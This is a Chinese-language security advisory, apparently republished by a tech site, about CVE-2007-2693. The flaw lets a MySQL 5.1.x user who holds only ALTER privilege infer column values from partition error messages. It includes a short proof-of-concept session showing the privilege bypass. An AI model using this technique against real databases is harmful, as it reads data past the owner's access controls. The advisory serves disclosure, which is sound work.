以下的文章主要讲述的那些情况导致MySQL Alter Table函数的相关信息出现泄露漏洞,如果你在使用MySQL Alter Table中出现相关的情况的话,你就可以通过以下的文章对其有个研究吧!
受影响系统:
MySQL AB MySQL 5.1.x < 5.1.18
不受影响系统:
MySQL AB MySQL 5.1.18
描述:BUGTRAQ ID: 24008
CVE(CAN) ID: CVE-2007-2693
MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。
MySQL Alter Table功能实现上存在漏洞,能够以合法帐号登录到数据库系统的攻击者可能利用此漏洞非授权获取数据表相关的敏感信息。
如果用户对表格拥有ALTER权限的话,则即使没有SELECT权限也可以通过ALTER TABLE语句获得某些有关表格的敏感信息。例如,用户可以发布以下命令:
ALTER TABLE table1 PARTITION BY LIST (column1) (PARTITION x VALUES IN (0));
MySQL会返回错误消息:
"Table has no partition for value 18".
这样该用户就可以知道存在column1 = 18的列。
测试方法:
以root用户发布:
mysql> create table tu (s1 int); Query OK, 0 rows affected (0.00 sec) mysql> insert into tu values (1); Query OK, 1 row affected (0.00 sec) mysql> grant alter on tu to molly@localhost; Query OK, 0 rows affected (0.01 sec)
以molly@localhost发布:
mysql> select * from tu; ERROR 1142 (42000): SELECT command denied to user 'molly'@'localhost' for table 'tu' mysql> alter table tu partition by list (s1) (partition p1 values in (1)); Query OK, 1 row affected (0.05 sec) Records: 1 Duplicates: 0 Warnings: 0 mysql> alter table tu partition by list (s1) (partition p1 values in (2)); ERROR 1513 (HY000): Table has no partition for value 1
上面说了这么多内容,是关于对MySQL Alter Table函数信息泄露漏洞的介绍,不知道各位对MySQL的认识是不是更上一层楼了,时时关注ITJS,学习最新Mysql技术。